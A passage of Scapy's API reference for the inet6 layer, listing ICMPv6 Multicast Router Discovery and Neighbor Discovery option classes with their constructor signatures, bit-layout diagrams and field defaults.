|            QUERYINT           |           ROBUSTNESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ICMPv6MRD_Advertisement                   


ICMPv6MRD_Advertisement fields






	type

	ByteEnumField

	151



	advinter

	ByteField

	20



	cksum

	XShortField

	None



	queryint

	ShortField

	0



	robustness

	ShortField

	0















	
class scapy.layers.inet6.ICMPv6MRD_Solicitation(_pkt, /, *, type=152, res=0, cksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1682-L1691]

	Bases: _ICMPv6


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1690-L1691]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      RES      |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ICMPv6MRD_Solicitation                    


ICMPv6MRD_Solicitation fields






	type

	ByteEnumField

	152



	res

	ByteField

	0



	cksum

	XShortField

	None















	
class scapy.layers.inet6.ICMPv6MRD_Termination(_pkt, /, *, type=153, res=0, cksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1694-L1703]

	Bases: _ICMPv6


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1702-L1703]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      RES      |             CKSUM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6MRD_Termination                    


ICMPv6MRD_Termination fields






	type

	ByteEnumField

	153



	res

	ByteField

	0



	cksum

	XShortField

	None















	
class scapy.layers.inet6.ICMPv6NDOptAdvInterval(_pkt, /, *, type=7, len=1, res=0, advint=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1900-L1908]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ADVINT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ICMPv6NDOptAdvInterval                    


ICMPv6NDOptAdvInterval fields






	type

	ByteField

	7



	len

	ByteField

	1



	res

	ShortField

	0



	advint

	IntField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1907-L1908]

	








	
class scapy.layers.inet6.ICMPv6NDOptCaptivePortal(_pkt, /, *, type=37, len=None, URI=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2130-L2140]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              URI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ICMPv6NDOptCaptivePortal                   


ICMPv6NDOptCaptivePortal fields






	type

	ByteField

	37



	len

	FieldLenField

	None



	URI

	ICMPv6NDOptDataField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2139-L2140]

	








	
class scapy.layers.inet6.ICMPv6NDOptDNSSL(_pkt, /, *, type=31, len=None, res=None, lifetime=4294967295, searchlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2114-L2127]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LIFETIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SEARCHLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptDNSSL                       


ICMPv6NDOptDNSSL fields






	type

	ByteField

	31



	len

	FieldLenField

	None



	res

	ShortField

	None



	lifetime

	IntField

	4294967295



	searchlist

	DomainNameListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2126-L2127]

	








	
class scapy.layers.inet6.ICMPv6NDOptDataField(name, default, strip_zeros=False, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1785-L1804]

	Bases: StrLenField


	
i2len(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1792-L1793]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1795-L1799]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1801-L1804]

	




	
strip_zeros

	








	
class scapy.layers.inet6.ICMPv6NDOptDstLLAddr(_pkt, /, *, type=2, len=1, lladdr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1830-L1832]

	Bases: ICMPv6NDOptSrcLLAddr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             LLADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6NDOptDstLLAddr                     


ICMPv6NDOptDstLLAddr fields






	type

	ByteField

	2



	len

	ByteField

	1



	lladdr

	MACField

	'00:00:00:00:00:00'















	
class scapy.layers.inet6.ICMPv6NDOptEFA(_pkt, /, *, type=26, len=1, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2048-L2052]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6NDOptEFA                        


ICMPv6NDOptEFA fields






	type

	ByteField

	26



	len

	ByteField

	1



	res

	BitField  (48 bits)

	0















	
class scapy.layers.inet6.ICMPv6NDOptHAInfo(_pkt, /, *, type=8, len=1, res=0, pref=0, lifetime=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1911-L1920]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PREF             |            LIFETIME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptHAInfo                      


ICMPv6NDOptHAInfo fields






	type

	ByteField

	8



	len

	ByteField

	1



	res

	ShortField

	0



	pref

	ShortField

	0



	lifetime

	ShortField

	1











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1919-L1920]

	








	
class scapy.layers.inet6.ICMPv6NDOptIPAddr(_pkt, /, *, type=17, len=3, optcode=1, plen=64, res=0, addr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1927-L1936]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    OPTCODE    |      PLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptIPAddr                      


ICMPv6NDOptIPAddr fields






	type

	ByteField

	17



	len

	ByteField

	3



	optcode

	ByteEnumField

	1



	plen

	ByteField

	64



	res

	IntField

	0



	addr

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6NDOptLLA(_pkt, /, *, type=19, len=1, optcode=0, lla='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1959-L1964]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    OPTCODE    |      LLA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6NDOptLLA                        


ICMPv6NDOptLLA fields






	type

	ByteField

	19



	len

	ByteField

	1



	optcode

	ByteEnumField

	0



	lla

	MACField

	'00:00:00:00:00:00'















	
class scapy.layers.inet6.ICMPv6NDOptMAP(_pkt, /, *, type=23, len=3, dist=1, pref=15, R=1, res=0, validlifetime=4294967295, addr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1967-L1976]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |  DIST |  PREF |R|     RES     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VALIDLIFETIME                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6NDOptMAP                        


ICMPv6NDOptMAP fields






	type

	ByteField

	23



	len

	ByteField

	3



	dist

	BitField  (4 bits)

	1



	pref

	BitField  (4 bits)

	15



	R

	BitField  (1 bit)

	1



	res

	BitField  (7 bits)

	0



	validlifetime

	IntField

	4294967295



	addr

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6NDOptMTU(_pkt, /, *, type=5, len=1, res=0, mtu=1280)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1880-L1888]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MTU                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ICMPv6NDOptMTU                        


ICMPv6NDOptMTU fields






	type

	ByteField

	5



	len

	ByteField

	1



	res

	XShortField

	0



	mtu

	IntField

	1280











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1887-L1888]

	








	
class scapy.layers.inet6.ICMPv6NDOptNewRtrPrefix(_pkt, /, *, type=18, len=3, optcode=0, plen=64, res=0, prefix='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1939-L1946]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |    OPTCODE    |      PLEN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ICMPv6NDOptNewRtrPrefix                   


ICMPv6NDOptNewRtrPrefix fields






	type

	ByteField

	18



	len

	ByteField

	3



	optcode

	ByteField

	0



	plen

	ByteField

	64



	res

	IntField

	0



	prefix

	IP6Field

	'::'















	
class scapy.layers.inet6.ICMPv6NDOptPREF64(_pkt, /, *, type=38, len=2, scaledlifetime=0, plc=0, prefix='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2151-L2162]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |      SCALEDLIFETIME     | PLC |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptPREF64                      


ICMPv6NDOptPREF64 fields






	type

	ByteField

	38



	len

	ByteField

	2



	scaledlifetime

	BitField  (13 bits)

	0



	plc

	BitEnumField

	0



	prefix

	_PREF64

	'::'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2160-L2162]

	








	
class scapy.layers.inet6.ICMPv6NDOptPrefixInfo(_pkt, /, *, type=3, len=4, prefixlen=64, L=1, A=1, R=0, res1=0, validlifetime=4294967295, preferredlifetime=4294967295, res2=0, prefix='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1835-L1852]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |   PREFIXLEN   |L|A|R|   RES1  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VALIDLIFETIME                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       PREFERREDLIFETIME                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6NDOptPrefixInfo                    


ICMPv6NDOptPrefixInfo fields






	type

	ByteField

	3



	len

	ByteField

	4



	prefixlen

	ByteField

	64



	L

	BitField  (1 bit)

	1



	A

	BitField  (1 bit)

	1



	R

	BitField  (1 bit)

	0



	res1

	BitField  (5 bits)

	0



	validlifetime

	XIntField

	4294967295



	preferredlifetime

	XIntField

	4294967295



	res2

	XIntField

	0



	prefix

	IP6Field

	'::'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1849-L1852]

	








	
class scapy.layers.inet6.ICMPv6NDOptRDNSS(_pkt, /, *, type=25, len=None, res=None, lifetime=4294967295, dns=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2034-L2045]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            LIFETIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DNS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ICMPv6NDOptRDNSS                       


ICMPv6NDOptRDNSS fields






	type

	ByteField

	25



	len

	FieldLenField

	None



	res

	ShortField

	None



	lifetime

	IntField

	4294967295



	dns

	IP6ListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2044-L2045]

	








	
class scapy.layers.inet6.ICMPv6NDOptRedirectedHdr(_pkt, /, *, type=4, len=None, res=b'\x00\x00\x00\x00\x00\x00', pkt=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1868-L1875]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PKT              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ICMPv6NDOptRedirectedHdr                   


ICMPv6NDOptRedirectedHdr fields






	type

	ByteField

	4



	len

	FieldLenField

	None



	res

	MayEnd

	b'\x00\x00\x00\x00\x00\x00'



	pkt

	TruncPktLenField

	b''















	
class scapy.layers.inet6.ICMPv6NDOptRouteInfo(_pkt, /, *, type=24, len=None, plen=None, res1=0, prf=0, res2=0, rtlifetime=4294967295, prefix=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2018-L2031]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |      PLEN     | RES1|PRF| RES2|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RTLIFETIME                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6NDOptRouteInfo                     


ICMPv6NDOptRouteInfo fields






	type

	ByteField

	24



	len

	FieldLenField

	None



	plen

	ByteField

	None



	res1

	BitField  (3 bits)

	0



	prf

	BitEnumField

	0



	res2

	BitField  (3 bits)

	0



	rtlifetime

	IntField

	4294967295



	prefix

	_IP6PrefixField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2030-L2031]

	








	
class scapy.layers.inet6.ICMPv6NDOptShortcutLimit(_pkt, /, *, type=6, len=1, shortcutlim=40, res1=0, res2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1891-L1897]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |  SHORTCUTLIM  |      RES1     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ICMPv6NDOptShortcutLimit                   


ICMPv6NDOptShortcutLimit fields






	type

	ByteField

	6



	len

	ByteField

	1



	shortcutlim

	ByteField

	40



	res1

	ByteField

	0



	res2

	IntField

	0















	
class scapy.layers.inet6.ICMPv6NDOptSrcAddrList(_pkt, /, *, type=9, len=None, res=b'\x00\x00\x00\x00\x00\x00', addrlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2255-L2262]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLIST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ICMPv6NDOptSrcAddrList                    


ICMPv6NDOptSrcAddrList fields






	type

	ByteField

	9



	len

	FieldLenField

	None



	res

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00'



	addrlist

	IP6ListField

	[]















	
class scapy.layers.inet6.ICMPv6NDOptSrcLLAddr(_pkt, /, *, type=1, len=1, lladdr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1820-L1827]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             LLADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ICMPv6NDOptSrcLLAddr                     


ICMPv6NDOptSrcLLAddr fields






	type

	ByteField

	1



	len

	ByteField

	1



	lladdr

	MACField

	'00:00:00:00:00:00'











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1826-L1827]

	








	
class scapy.layers.inet6.ICMPv6NDOptTgtAddrList(_pkt, /, *, type=10, len=None, res=b'\x00\x00\x00\x00\x00\x00', addrlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L2265-L2267]

	Bases: ICMPv6NDOptSrcAddrList


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |              RES              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLIST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ICMPv6NDOptTgtAddrList                    


ICMPv6NDOptTgtAddrList fields






	type

	ByteField

	10



	len

	FieldLenField

	None



	res

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00'



	addrlist

	IP6ListField

	[]















	
class scapy.layers.inet6.ICMPv6NDOptUnknown(_pkt, /, *, type=0, len=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/inet6.py#L1807-L1814]

	Bases: _ICMPv6NDGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
